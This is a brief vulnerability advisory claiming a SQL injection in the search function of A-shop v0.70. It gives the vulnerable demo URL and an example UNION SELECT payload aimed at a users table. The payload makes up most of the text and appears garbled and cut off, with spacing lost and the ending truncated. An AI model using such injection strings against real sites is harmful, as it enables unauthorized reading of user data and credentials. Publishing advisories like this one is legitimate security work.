A-shop v0.70 SQL INECTION

Product : A-shop Version : v0.70 Vulnerability : SQL INJECTION http://www.rammdev.com/ashop/demo/default.asp?mod=search&type=simple&q='SQLINJECTION'&cmdSearch=Search Example ; http://www.rammdev.com/ashop/demo/default.asp?mod=search&type=simple&q='unionselect201,1,1,120from20users'&cmdSearch=Sear...